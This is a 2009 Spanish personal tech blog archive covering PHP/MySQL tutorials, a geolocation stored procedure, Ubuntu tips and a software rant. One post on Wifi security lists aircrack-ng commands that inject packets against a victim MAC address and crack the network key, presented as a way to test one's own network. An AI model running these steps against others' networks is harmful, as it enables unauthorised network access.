Archivo para la categoría Informática
Creación de la base de datos y tablas. Curso PHP y MySQL siguiendo una temática: árbol genealógico -Parte II-
Escrito por diego en Informática el Septiembre 16th, 2009
En su momento se hizo una simple página que recogía los datos de autenticación para la base de datos y seguidamente la creación de la base de datos y sus correspondientes tablas. También se insertan datos con los nombres de las poblaciones de cada país.
Las tablas trabajarán bajo el motor InnoDB (incluído a partir de MySQL v5) recomendado si queremos tener una integridad referencial de nuestros registros, aunque no es imprescindible nos ahorrará la tarea de tener que controlar la relación de registros entre tablas con nuestro código. En nuestro caso ni tenemos tablas relacionadas ni es necesario una integridad referencial puesto son pocas tablas y es sencillo borrar los registros relacionados en tablas distintas.
Definición de las tablas
Nuestro sencillo árbol genealógico precisa de tan sólo tres tablas: personas, conyuges y ciudades
Tabla personas
Almacenará los datos personales de una persona. Al fin y al cabo un árbol genealógico no es más que la relación entre todas y cada una de las personas. En esta tabla se distinguirá: el sexo, qué otra persona es su padre y su madre, datos personales, foto, fechas nacimiento y defunción, lugar nacimiento, y otros datos.
Curso PHP y MySQL siguiendo una temática: árbol genealógico -Parte I-
Escrito por diego en Informática el Agosto 25th, 2009
El proyecto trata sobre la creación de una sencilla Web en la que se podrá crear un árbol genealógico que mediante la inserción de datos y su relación podremos ver una estructura en forma de árbol con las personas y sus respectivos cónyuges, funcionará bajo el archiconocido lenguaje interpretado dinámico PHP5 embebido en HTML, y los datos serán gestionados por MySQL. También se hace uso en menor medida de Javascript.
A tener en cuenta
- Aunque la complejidad es baja hay que tener conocimientos de programación, la dificultad: 1 2 (3) 4 5
Esquema de la página

Diagrama del diseño de la página
Organización del código
Los archivos se organizarán en carpetas, será algo así:

curso php-mysql básico. Organización del código fuente
admin .- contiene los archivos que realizarán ejecuciones de: consultar, insertar, eliminar.
config.- tendremos los archivos de configuración para la instalación inicial.
css.- contiene las hojas de estilo de la página.
imagenesRetratos.- donde guardo las fotos de las personas.
images.- las imágenes que forman toda la página.
inc.- archivos que contienen funciones para facilitar el trabajo y configuración del entorno como la base de datos.
js.- archivos con las funciones en javascript
arbol.php .- genera la vista con la estructura del árbol genealógico.
index.php.- página principal con las opciones iniciales.
MySQL Adaptación de procedimiento almacenado para obtener puntos por latitud/longitud geolocalizados en un mapa dentro de un radio
Escrito por diego en Informática el Julio 6th, 2009
Situación:
Partimos que tenemos una tabla con datos cada uno de los registros contiene una localización latitud y longitud, y queremos ubicarlos en un mapa, y que además estén todos ellos dentro de un área determinada a partir de un punto inicial (alrededor). Por ejemplo en Madrid tenemos los siguientes puntos:
Entonces sabiendo las coordenadas del punto que está en el centro del recuadro negro queremos obtener los pines que hay dentro de esa área, para ello hago una consulta a la tabla que contiene las coordenadas de los pines rojo.
Código:
– Fuente original: http://www.mysqlfulltextsearch.com/geo_search.pdf
DELIMITER $$
-- @param radio El radio va en kilómetros
DROP PROCEDURE IF EXISTS `nombre_nuestra_basedatos`.`geoPuntosRadio`$$
CREATE DEFINER=`nombre_nuestra_basedatos`@`%`
PROCEDURE `geoPuntosRadio`(IN latuser double, IN longuser double, IN radio int)
BEGIN
declare lon1 float; declare lon2 float;
declare lat1 float; declare lat2 float;
-- calcular latitud/longitud del rectángulo:
set lon1 = longuser-radio/abs(cos(radians(latuser))*69);
set lon2 = longuser+radio/abs(cos(radians(latuser))*69);
set lat1 = latuser-(radio/69);
set lat2 = latuser+(radio/69);
-- Consulta con el resultado y distancia en km:
SELECT *,
6378.137 * 2 * ASIN(SQRT( POWER(SIN((latuser - c.latitud)
* pi()/180 / 2), 2) +
COS(latuser * pi()/180) * COS(c.latitud * pi()/180) *
POWER(SIN((longuser - c.longitud) * pi()/180 / 2), 2) )) as distancia
FROM nuestra_tabla c
WHERE c.longitud between lon1 and lon2
and c.latitud between lat1 and lat2
having distancia < radio ORDER BY distancia limit 10;
END$$
DELIMITER ;
Para obtener los datos dado que es un procedimiento almacenado en la base de datos usamos la llamada al procedimiento. Le pasamos las coordenadas del centro latitud/longitud y el radio que se desea cubrir en kilómetros.
call geoPuntosRadio(37.8,-0.8, 100) //latitud, longitud, radio (km)
Reconocimientos:
Este post a sido una adaptación de la obra titulada Geo (proximity) Search with MySQL por Alexander Rubin (consultor senior en MySQL), donde hace una introducción al cálculo de distancias en la Tierra mediante coordenadas y lo extrapola a MySQL. La obra original obtiene las coordenadas de usuarios guardadas en tablas.
Sincronización fácil y rápida de correo, calendarios, tareas y archivos
Escrito por diego en Informática el Julio 3rd, 2009
Me encuentro en la siguiente situación trabajo desde varios equipos y quiero tenerlo todo: correos, eventos, tareas y archivos (algunas imágenes, documentos, etc) en cada uno de los equipos.
Para tenerlo todo sincronizado he utilizado las siguientes aplicaciones:
- Para correo electrónico y calendarios: Evolution (viene por defecto en la instalación de Ubuntu)
- Notas informativas: Tomboy (hay muchos programas de este tipo, éste viene por defecto en la instalación de Ubuntu)
- Aplicación intermediaria para la sincronización (un servidor): dropbox (de éstos hay la tira, lo he probado y va bastante bien, son 2GB + 250MB por esta invitación, es gratis)
Los correos electrónicos:
Para el correo electrónico no tenemos que hacer mucho, está todo en el servidor de correo que utilicemos, pero sí es importante tener marcada la opción “Dejar mensajes en el servidor”. Vamos a Editar -> Preferencias -> Cuentas de correo:
El calendario de eventos:
Para el calendario de eventos he utilizado la cuenta de Google Calendar además te envía SMS al móvil para avisarte del evento, se encargará de sincronizar todos los eventos. Ahora desde la última versión de Evolution lo tenemos todo preparado para configurarlo con dos golpes de ratón, veamos cómo:
Las tareas y archivos:
Las tareas uso Tomboy viene instalado por defecto en Ubuntu. Es muy sencillo de utilizar.
Las tareas y archivos lo que he hecho es sincronizar a través de un servidor que nos ofrece 2GB de espacio gratis, se llama DropBox. Todo lo que pongamos en una carpeta concreta publicada para dropbox será subido al servidor (encriptado). Se instala en cada equipo una pequeña aplicación que cargará un demonio con nuestra configuración de cuenta de usuario. También se pueden compartir carpetas entre usuarios.
Para las tareas entramos en Tomboy: Preferencias -> pestaña Sincronización e indicarle nuestra carpeta compartida en dropbox tal como se ve en la captura:
Para todo este tipo de cosas existen muchas posibilidades en cuanto aplicaciones y servidores de sincronización, ésta es una de tantas.
Nota: dropbox publica una carpeta y todo lo que se ponga dentro, si quisieramos publicar otras carpetas de nuestro disco podemos crear enlaces que apunten dentro de la carpeta publicada.
Un buen marketing vende hasta una boñiga como Eurowin
Escrito por diego en Informática el Mayo 28th, 2009
Cada vez estoy más convencido por muy malo que sea un programa de gestión si tiene una buena mercadotecnia junto a una publicidad con diseño atractivo y canales de distribución que lo apoyen, se obtienen unos ingresos de algo como por ejemplo una boñiga. Si a priori supiéramos los dolores de cabeza que nos pude llegar a dar , ni siquiera nos molestábamos en conocerlo Hablamos nuevamente de Eurowin.
Todo empieza con un precio asequible, atractivo para una empresa pequeña e incluso hasta mediana. Cuando pasa cierto tiempo el programa empieza a fallar, nos damos cuenta que hemos gastado en llamadas a 807 y 902 lo que no está escrito.
A continuación voy a nombrar las formas que ha adoptado Eurowin para llenar la saca por todo la cara:
- En versiones Eurowin Solution 6 e inferiores utilizaba gestor de base de datos FoxPro, en alguna época fue de lo mejorcico (dicen), pero con el tiempo se demostró lo contrario, las tablas se bloquean y es necesario empaquetar y reindexar contenido cada dos por tres. A ésto se le ha sacado tajada, por muy raro que parezca, no era una, ni dos las veces, muy amenudo la de veces que se queda bloqueado sin poder crear un simple albarán.
- Con respecto a las modificaciones que sufrió al inicio de 2008 el Plan General Contable, para que hablar. Una vez pagada la adaptación si hubiera descuadres en los modelos de balances el simple hecho de llamar ya cobran (números 902 ú 807) pero como tenga por parte de Eurowin que conectarse remotamente un técnico, clavan. Adelanto el diseño interno que tienen los informes de balances es bastante complejo, y aseguro por experiencia propia que puede faltar cuentas en dicho informe y descuadre totalmente.
- De repente un día sufrimos un apagón y tenemos el programa abierto, cuando volvemos a entrar vemos que no funciona bien y tenemos que reinstalarlo de nuevo. Bueno, lo primero que he de decir ¡suerte, y al toro!, desde aquí adelanto que primero hay que obtener una clave de desistalación, luego llamar por teléfono (por supuesto 902 ú 807) para obtener código de activación, y con suerte, que todo vaya bien.

Captura para anulación de licencia de Eurowin
La captura muestra lo que hay que hacer para poder reinstalar el producto. Ésta versión es antigua, cuando puse la dirección Web que aparece en negrita me anularon la licencia correctamente, hasta ahí bien, pero cuando intenté activar de nuevo la licencia para instalar el producto la Web no tenía el formulario activo y ponía que tenía que llamar; de nuevo desembolso al 902 ú 807. Como se vé no me invento nada.
- Si nos metemos en aspectos un poco más técnicos, las tablas que conforman la base de datos tienen los nombres de las columnas mitad en catalán y mitad castellano, en fin, de ahí podemos partir para hacernos una idea de la lógica que lleva Eurowin para hacer pasta. Veamos la captura como ponen “Any” cuando sería “Año“, es correcto para quitarte la eñe que no es caracter permitido, pero suena a catalán e induce a error en inglés, no hubiese sido más fácil poner “Anyo“, claro, el catalá es el catalán:

Nombre de las columnas en una tabla de la base datos de Eurowin 6.0 Solution
Seguiría hablando pero es que creo que bastante tiempo he malgastado en escribir dos post.
Artículo relacionado:
http://notasalgo.es/2009/02/programa-para-gestion-de-empresa-eurowin-ahora/
Lanzamiento de Ubuntu 9.04 Jaunty Jacklope
Escrito por diego en Informática el Abril 28th, 2009
Como ya nos tienen acostumbrados la comunidad Ubuntu acaba de lanzar su última versión Ubuntu 9.04 Jaunty Jacklope. Que tiemblen los señores de Windows porque ésto cada vez pinta mejor, si cabe. El entorno gráfico y la interacción multimedia no para de mejorar, es lo más destacado de ésta última versión y es que si se pretende captar al usuario final, lo está consiguiendo con creces, aseguro que de nuevo va a el número de usuarios, suma y sigue.
Enlaces:
· Características a rasgos generales (inglés) [traducido]
· Descargas, tenemos varias versiones: Desktop, Netbook Remix y Server
Actualizar aMule a v2.2.4 en Ubuntu
Escrito por diego en Informática el Abril 26th, 2009
Desde la página oficial podemos obtener la última versión del archiconocido y actualmente perseguido (entre otros) aMule, eMule en Windows, ya veremos a ver si se salva de la quema.
Otra opción sencilla y rápida para actualizar es agregar en la lista de repositorios la ruta correspondiente a la versión de Ubuntu:
- The Jaunty Jackalope:
deb http://ppa.launchpad.net/amule-releases/ppa/ubuntu jaunty main
- The Intrepid Ibex:
deb http://ppa.launchpad.net/amule-releases/ppa/ubuntu intrepid main
- The Hardy Heron:
deb http://ppa.launchpad.net/amule-releases/ppa/ubuntu hardy main
En synaptic tras añadir el repositorio, actualizamos y si ya teníamos instalado el aMule nos aparecerá
la opción de “Marcar para actualizar”.
En el foro podemos encontrar más paquetes para otras distribuciones de Linux:
http://forum.amule.org/index.php?board=69.0
Seguridad Wifi. ¿Es segura nuestra red Wifi?
Escrito por diego en Informática el Abril 21st, 2009

Cuando decimos seguridad Wifi hablamos de la posible captación de datos por parte de terceros y posible uso de la red. Es conveniente que aparte de una buena configuración de la red se tenga en cuenta algunas precauciones a la hora de introducir datos de carácter privado a través de un formulario, es conveniente que la página ofrezca un sistema de encriptación de datos o cifrado de datos. Hoy día bancos y cajas están dotados de dicha característica y podemos comprobarlo en Firefox v3.x como cambia de color la barra de dirección y nos muestra un candado en la parte inferior derecha, informa una verificación de certificado para el cifrado de datos circulantes entre nuestro navegador y el servidor. Es importante tener actualizado nuestro navegador Web favorito.
Por otro lado podemos comprobar la seguridad que tiene nuestra Wifi en cuanto a hackeo mediante este tutorial: http://wiki.dia-d.es/index.php/Hackeo_wifi
Resumiendo en cinco pasos:
1º.- sudo airmon-ng stop wlan0 // wlan0 es el nombre de la tarjeta wifi
2º.- sudo airmon-ng start wlan0
3º.- sudo airodump-ng -c 6 -w wifi -i wlan0 // elegir el canal, es importante para que aireplay funcione
4º.- sudo aireplay-ng -3 -b la_mac_victima wlan0 //Probar con ataques: -3, -4, -5
5º.- sudo aircrack-ng *.ivs // los paquetes a obtener clave estarán en: /home/usuario
Si se trabaja bajo Windows lo más recomendable es lanzar un LiveCD, una sugerencia podría ser: http://www.wifislax.com/, aquí encontraremos vídeotutoriales de su manejo.
Redimensionar imágenes en Ubuntu con Gnome
Escrito por diego en Informática el Marzo 6th, 2009
El otro día me hacía falta redimensionar fotos ya que la cámara de fotos de un amigo las había hecho a 7 Megapíxeles y con ese peso no me sirven nada más que para imprimir alguna. Buscando sobre Nautilus encontré algo que lo único que tenía que hacer era poner el nombre y ya está, se descarga solo y se instala solo, en tres pasos. Veamos cómo lo hice.
Teniendo en cuenta que estamos bajo Ubuntu 8.10 con Gnome:
- Vamos a Sistema -> Administración -> Gestor de paquetes Synaptic. Ponemos la contraseña.
- Buscamos [Ctrl + F] lo siguiente: nautilus-image-converter. Lo marcamos para instalar y aplicamos.
- Como se integra es necesario reiniciar nautilus, lo haremos con el comando [Alt + F2]: killall nautilus
A partir de ahora iremos a golpes de ratón. Seleccionamos una o varias imágenes manteniendo pulsada la tecla control y le damos al botón secundario del ratón veremos las nuevas opciones en el menú emergente: “Redimensionar imágenes…” y “Rotar imágenes…”
Retoque fotográfico masivo (batch) fácil desde Linux
Escrito por diego en Informática el Marzo 2nd, 2009
Desde que estoy intentando ordenar un poco los álbumes de fotos para subirlos al blog busco programas para preparar las imágenes a gusto del consumidor. Ésta vez quiero añadir marca de agua como texto o icono, darle un fondo en relieve o sombra, dar un redondeo de la imagen y ya que estamos un escalado. Pues bien todo eso no podía hacerlo con el redimensionado integrado en Nautilus que hablé aquí hace unos días, pero sí con este programa: Phatch.
Lo tenemos en los repositorios de Ubuntu: Sistema -> Administración -> Gestor de paquetes Synaptic -> Ctrl + F, buscamos: phatch
Otra opción podría ser creándonos un guión o script en Gimp mediante Script-Fu.








